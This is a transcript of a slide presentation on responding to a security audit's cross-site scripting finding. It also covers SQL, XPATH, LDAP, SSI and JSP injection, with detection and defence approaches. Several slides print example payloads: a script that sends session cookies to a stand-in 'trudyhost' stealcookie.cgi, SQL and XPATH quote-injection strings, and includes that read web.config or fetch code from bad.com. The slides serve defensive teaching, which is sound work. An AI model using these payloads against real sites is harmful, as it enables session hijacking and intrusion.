1 / 34

Web Audit Vulnerability

Web Audit Vulnerability. cross-site scripting (XSS) concerns by Ron Widitz. Business Problem. Independent security audit Regulatory compliance XSS issue raised Must provide a response. Audit Response. Either: Prove issue to be a non-problem or Describe actions to take.

rudolf
Download Presentation

Web Audit Vulnerability

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript

  1. Web Audit Vulnerability cross-site scripting (XSS) concerns by Ron Widitz

  2. Business Problem • Independent security audit • Regulatory compliance • XSS issue raised • Must provide a response

  3. Audit Response • Either: • Prove issue to be a non-problem or • Describe actions to take

  4. Resolution Steps • Investigate security concerns • Restate as IT problem(s) • Determine solution(s) • Provide audit response • Mitigate risk

  5. Investigation • Define cross-site scripting (XSS) • Examine how auditors applied • Identify risks • Research preliminary solutions

  6. cross-site scripting • Attacker goal: their code into browser • XSS forces a website to execute malicious code in browser • Browser user is the intended victim • Why? Account hijacking, keystroke recording, intranet hacking, theft…

  7. XSS concept

  8. Auditor finding • Freeform edit box • Message to Customer Service

  9. XSS types • Immediate reflection : phishing • DOM-based : 95 JavaScript methods • Redirection : header, meta, dynamic • Multimedia : Flash, QT, PDF scripts • Cross-Site Request Forgery (CSRF) • others… • (e.g. non-persistent search box)

  10. Risks • XSS abuses render engines or plug-ins • Steal browser cookies • Steal session info for replay attack • Malware or bot installation • Redirect or phishing attempt

  11. Our actual risk • Currently, none. • Edit box info viewed in thick client • DHTML or JavaScript needs browser • Our thick client is Java Swing-based

  12. Planned Audit Response • Could indicate “no audit problem” • Might have future impact • Address through dev standards • Consider application firewall • Widen problem scope to include all user agent injection tactics

  13. More on Web Attacks • Cross Site Scripting • SQL Injection • XPATH Injection • LDAP Injection • SSI (server side inclusion) Injection • JSP (Java server pages) Injection

  14. Artifacts • For each injection issue: • Vulnerability description documented • Preventative coding technique • Discuss with App Dev teams • Publish and socialize direction • Include in peer reviews/code walkthroughs • Set deadlines for full incorporation • Communicate with auditors

  15. Cross Site Scripting Example 1 • Trudy posts the following JavaScript on a message board: • <SCRIPT>document.location='http://trudyhost/cgi-bin/stealcookie.cgi?'+document.cookie</SCRIPT> • When Bob views the posted message, his browser executes the malicious script, and his session cookie is sent to Trudy

  16. Cross Site Scripting Example 2 • Trudy sends a link to the following URL to Bob that will take him to a personalized page: • http://host/personalizedpage.php?username=<script>document.location='http://trudyhost/cgi-bin/stealcookie.cgi?'+document.cookie</script> • A page is returned that contains the malicious script instead of the username Bob, and Bob’s browser executes the script causing his session cookie to be sent to Trudy • Hex is often used in place of ASCII for the JavaScript to make the URL less suspicious

  17. Cross Site Scripting Detection • A client usually is not supposed to send scripts to servers • If the server receives <SCRIPT>… or the hex equivalent in an incoming packet and that same script is sent unsanitized in an outgoing packet or in an outgoing SQL statement to the database, then an attack has occurred • A sanitized script could look like &ls;SCRIPT&gt;…

  18. SQL Injection Example • Trudy accesses Bob’s website; in which he does not validate input on his sign in form • Runs a SQL statement like the following: • SELECT * from Accounts where username = “USER_NAME” and password = “USER_PASS”; • In the password field, she types as her password: • X” OR “x”=“x • Manipulates the server into running the following SQL command: • SELECT * from Accounts where username = “USER_NAME” and password=“X” OR “x”=“x”; • Selects all account information

  19. SQL Injection Detection • To detect and prevent this at Bob’s location • Log any traffic from Trudy to Bob containing form data containing a quotation mark • Match any outgoing SQL statements from Bob’s web server to his database server and verify that the quotation marks Trudy supplied were escaped • If they weren’t, take action

  20. XPATH Injection Example • Similar to SQL injection • Bob has a form that does not sanitize user-provided input before using it as part of an XPATH query:: • string(//user[name/text()=’USER_NAME' and password/text()=’USER_PASS']/account/text()) • Trudy again can provide the following password to change the statement’s logic: • X’ OR ‘x’=‘x • The statement thus selects the first account

  21. LDAP Injection Example • Server using LDAP for authentication • User name initialized, but then uses unchecked user input to create a query filter = "(uid=" + CStr(userName) + ")" ' searching for the user entry • Attacker can exploit using special characters http://example/ldapsearch.asp?user=*

  22. LDAP Injection Detection • Detection is based off of usage of special LDAP characters • System monitors input for special characters • Either scrubs incoming input or watches for unescaped output passed to database server • Detection approach is blackbox

  23. SSI Injection Example • Bob has his server configured to use Server-Side Includes • Trudy passes input with an SSI embedded <!--#INCLUDE VIRTUAL="/web.config"--> • SSI inserts malicious code into normal webpages upon next request • Future legitimate users get content containing the tainted code included by the SSI

  24. SSI Injection Detection • Bob’s system needs SSI enabled, so he uses our system on local servers • SSI code can be detected by its specific format • HTML comment (<!-- -->) containing a command • SSI commands can be stripped on ingress • Can also deny outgoing packets that do not include SSI as inputted (means successful execution) • Detection approach is blackbox

  25. JSP Injection Example • Similar to SSI injection • Bob has a portal server configured to use dynamic code for templates • Trudy passes input with an embedded <jsp:include “http://bad.com/1.jsp” > • malicious code inserted into webpage

  26. JSP Injection Prevention • Prefer static include <%include …> • Don’t allow file inclusion outside of server via Java2 Security policies • Firewall rules to prevent outbound requests from server • Input validation coding • Choose portal software not requiring dynamic includes or code execution

  27. Defense Approaches • Web firewall/IDS • ModSecurity for Apache • Commercial: SecureSphere from Impervia • Static code analysis • Open source: Nikto • Commercial: • Acutenix Web Vulnerability Scanner • N-stalker • Education on good coding • HTML encoding on input (server-side) • Input validation/filtering

  28. Q&A • Suggestions?

  29. Backup Slides

  30. user agent injection • Stored • HTTP Response Splitting • SQL Injection • XML Injection • JSP Code Injection • LDAP Injection

  31. Approaches • Application firewall • HTML encoding on input (server-side) • Input validation/filtering • Coding techniques with output • Session key enforced to prevent CSRF

  32. XPATH Injection Detection • Again, our system can detect this by matching any submission by Trudy containing a quotation mark against outbound XPATH queries • Correction can again be done by escaping any rogue quotation marks Trudy may have inserted • Detection approach is blackbox

More Related